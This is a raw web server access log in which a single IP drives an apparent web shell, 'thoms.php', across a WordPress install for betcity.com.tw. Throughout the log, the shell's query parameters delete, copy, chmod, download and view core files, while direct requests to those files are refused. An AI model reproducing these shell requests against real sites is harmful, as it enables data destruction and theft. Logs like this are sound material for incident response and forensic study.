45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /betcity.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24448 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /betcity.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /betcity.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?del=rest-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?del=rss-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59441 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?del=PHPMailer&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13906 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19181 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:48 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /betcity.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?del=connectors.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /betcity.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14098 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?del=block-template-utils.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:49 -0400] "GET /thoms.php?del=class-walker-page.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18206 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /betcity.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?chmod=css&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=css&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /betcity.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /betcity.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /betcity.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12145 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fformatting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fformatting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?chmod=canonical.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23707 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /betcity.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:50 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /betcity.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-default-constants.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-default-constants.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /betcity.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21577 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?chmod=locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frest-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frest-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fview-transitions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fview-transitions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14958 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?dl=rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpluggable.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpluggable.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?del=error_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?del=error_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:51 -0400] "GET /thoms.php?del=theme-compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /betcity.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?chmod=ms-files.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12185 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22290 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?del=interactivity-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59457 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:52 -0400] "GET /thoms.php?del=IXR&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59784 "http://163.245.207.76:443/thoms.php?del=IXR&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13453 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fkses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fkses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?dl=class-wp-role.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12365 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?del=post-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmedia.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmedia.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:53 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?dl=theme-previews.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?del=block-patterns.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:54 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
